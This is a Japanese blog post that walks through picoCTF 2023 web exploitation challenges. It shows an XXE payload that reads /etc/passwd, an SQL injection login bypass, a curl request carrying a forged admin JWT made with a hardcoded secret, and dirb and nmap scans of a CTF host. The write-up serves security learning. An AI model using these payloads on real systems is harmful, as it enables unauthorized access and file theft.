1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF 2023 Writeup : Web Exploitation

Posted at

最初に

image.png

Writeup

SOAP

初手が怪しい名前ですね、、

以下のアドレスが開きました
http://saturn.picoctf.net:57378/

dirbするのと、同時にブラウザのNetworkタブからIPアドレスを調べて、nmapもしておく

image.png

Dirbの結果

┌──(kali㉿kali)-[/share_host/boueisyo/CY/2]
└─$ dirb http://saturn.picoctf.net:57378/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Feb  9 10:57:22 2025
URL_BASE: http://saturn.picoctf.net:57378/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://saturn.picoctf.net:57378/ ----
+ http://saturn.picoctf.net:57378/data (CODE:405|SIZE:153)                                                                                     
                                                                                                                                               
(!) FATAL: Too many errors connecting to host
    (Possible cause: COULDNT CONNECT)
                                                                               
-----------------
END_TIME: Sun Feb  9 11:15:52 2025
DOWNLOADED: 2438 - FOUND: 1

Nmapの結果

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -p- 13.59.203.175
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-09 10:57 JST
Warning: 13.59.203.175 giving up on port because retransmission cap hit (6).
Nmap scan report for ec2-13-59-203-175.us-east-2.compute.amazonaws.com (13.59.203.175)
Host is up (0.20s latency).
Not shown: 65525 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
2376/tcp  open     docker
52092/tcp open     unknown
56251/tcp open     unknown
56876/tcp open     unknown
57378/tcp open     unknown
57625/tcp open     unknown
58101/tcp open     unknown
59955/tcp filtered unknown
65045/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 882.81 seconds

robots.txtはなかったですね、、、、
image.png

Detailsを押した後のHTTP通信の内容

POST /data HTTP/1.1

Host: saturn.picoctf.net:57378

Content-Length: 61

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Content-Type: application/xml

Accept: */*

Origin: http://saturn.picoctf.net:57378

Referer: http://saturn.picoctf.net:57378/

Accept-Encoding: gzip, deflate, br

Connection: keep-alive



<?xml version="1.0" encoding="UTF-8"?><data><ID>1</ID></data>

<ID>1</ID>の値を2や3に変えると別のDetailsボタンを押したときの出力に変えれそう

まずは、適当に4を入れてみたら、エラーになった
image.png

Detailsボタンを教えた後のヘッダーを/dataから/etcに変えてみたが、Could not find the details. Better luck next time :(の出力があったため、200以外のステータスコードが帰ってきている

image.png

うーん、わからない、、、ということで、ヒントを見てみると、XML external entity Injectionとあった。。
これは何だ、、、

ということで、調べてみた

XMLには外部ファイルからデータを読み込むことがあるみたいで、それを利用すれば、ディレクトリトラバーサルみたいなことができるみたい

今回の問題では以下の内容をリクエストに記載することで、フラグがとれます!

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>
    <ID>
        &xxe;
    </ID>
</data>

image.png

参考したWebページ

More SQLi

' or '1'='1';--を入れてみると、SQLインジェクションできました
image.png

その時のリクエストの内容


POST / HTTP/1.1

Host: saturn.picoctf.net:55837

Content-Length: 77

Cache-Control: max-age=0

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

Origin: http://saturn.picoctf.net:55837

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://saturn.picoctf.net:55837/

Accept-Encoding: gzip, deflate, br

Cookie: PHPSESSID=j4nir0na8jecjsdeftr0mk5qq1

Connection: keep-alive

username=%27+or+%271%27%3D%271%27%3B--&password=%27+or+%271%27%3D%271%27%3B--

ここからわからなくなったので、Writeupを見てみたら、Responseにフラグが記載されていたんですね、、

レスポンスはBurpのResponseタブから確認できます(簡単ですが、以下が手順です)

手順1:Proxyタブでリクエストのところで、右クリックして、「Send to Repeater」を選択
image.png

手順2:Responseタブから確認
image.png

参考にしたWriteup

MatchTheRegex

<script>
	function send_request() {
		let val = document.getElementById("name").value;
		// ^p.....F!?
		fetch(`/flag?input=${val}`)
			.then(res => res.text())
			.then(res => {
				const res_json = JSON.parse(res);
				alert(res_json.flag)
				return false;
			})
		return false;
	}

</script>

picoCTFのフラグ形式を正規表現でかけば終わりです、、
image.png

Java Code Analysis!?!

与えられたログイン情報からログインして、Flagの本を検索してみると、Adminと記載されていました

image.png

また、その時のページのソースは以下です。Tokenの要素が足りないみたいですね、、(逆に足りていればいいのか)

{"type":"UNAUTHORIZED","payload":{"message":"You do not have the authority to access this resource","details":["The token was expected to have 3 parts, but got 1."]}}
GET /base/users/photo/1 HTTP/1.1

Host: saturn.picoctf.net:60832

Accept: application/json, text/plain, */*

Accept-Language: en-US

Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTczOTY5MzU1MCwiaWF0IjoxNzM5MDg4NzUwLCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.2O2he25hMtQi2Kq7sWFeB6QcxfLC2OL7bahLuDKBd9s

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Referer: http://saturn.picoctf.net:60832/

Accept-Encoding: gzip, deflate, br

Cookie: PHPSESSID=j4nir0na8jecjsdeftr0mk5qq1

Connection: keep-alive

Authorizationのところで、JWTトークンを使っていますが、秘密鍵がないと変更することはできないです、、

ここでわからなくなったので、Writeupを見てみる

/bookshelf-pico/src/main/java/io/github/nandandesai/pico/security/にJWTトークンを作成するコードがあるみたい

JwtService.javaを見てみると、SecretGenerator.javaから秘密鍵を取得しているみたいだが、SecretGenerator.javaでは23行目で秘密鍵がハードコーディングされている。。。

image.png

この秘密鍵を使って、JWTを書き換えてみる

しかし、うまくいかない。。。

/bookshelf-pico/src/main/java/io/github/nandandesai/pico/config/BookShelfConfig.javaの76行目にAdminのEmailがあった(adminでした、、、)

かつ、userのすぐ下で作成されているので、おそらくuserIdは2と推測できます

BookController.java@RequestMapping("/base")@GetMapping("/books/pdf/{id}")から、FlagのPDFのは以下のパスになります

http://saturn.picoctf.net:61511/base/books/pdf/5

(FlagのPDFのCoverが5だったので、PDFも5だと判断しました)

これをBurpでリクエストしていたのですが、なかなかうまくいかなかったので、Curlでたたいたらフラグが手に入りました

curl -X GET \
  'http://saturn.picoctf.net:61511/base/books/pdf/5' \
  -H 'Host: saturn.picoctf.net:61511' \
  -H 'Accept: application/json, text/plain, */*' \
  -H 'Accept-Language: en-US' \
  -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiQWRtaW4iLCJpc3MiOiJib29rc2hlbGYiLCJleHAiOjE3NTk3ODg1MDMsImlhdCI6MTczOTE4MzcwMywidXNlcklkIjoyLCJlbWFpbCI6ImFkbWluIn0.7p9TDQlPTQsCnXclcK3YNcgaDVtOUcvUoVawlByOwWY' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36' \
  -H 'Referer: http://saturn.picoctf.net:61511/' \
  -H 'Accept-Encoding: gzip, deflate, br' \
  -H 'Connection: keep-alive'
(Great job! Here's your flag:)'
()'
()'
(picoCTF{w34k_jwt_n0t_g00d_6e5d7df5})'
ET
endstream
endobj

findme

I was redirected here by a friend of mine but i couldnt find anything. Help me search for flags :-)

友人からここに来るように言われたんだけど、何も見つからなかったんだ。 フラッグ探しを手伝ってください :-)

Web問題だったので、Burpでいろいろ試してみると、怪しい文字列がidとしてやり取りされていました

GET /next-page/id=cGljb0NURntwcm94aWVzX2Fs HTTP/1.1

Host: saturn.picoctf.net:64798

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Language: en-US

Referer: http://saturn.picoctf.net:64798/

Accept-Encoding: gzip, deflate, br

Connection: keep-alive
GET /next-page/id=bF90aGVfd2F5X2QxYzBiMTEyfQ== HTTP/1.1

Host: saturn.picoctf.net:64798

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://saturn.picoctf.net:64798/next-page/id=cGljb0NURntwcm94aWVzX2Fs

Accept-Encoding: gzip, deflate, br

Connection: keep-alive

これをつないで、BASE64でデコードすればフラグになります!

最後に

Hardの2問はWriteupがほとんどなく、あるものを見てもよくわからなかった、、、、

Mediumまでの問題で学んだことは以下3つです

  • XMLでデータのやり取りをしていれば、XXEの脆弱性を疑う
  • BurpのRepeaterを使えば、HTTP通信のレスポンスを確認できる
  • コードが当たられた場合はハードコーディングを疑ってみる
1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?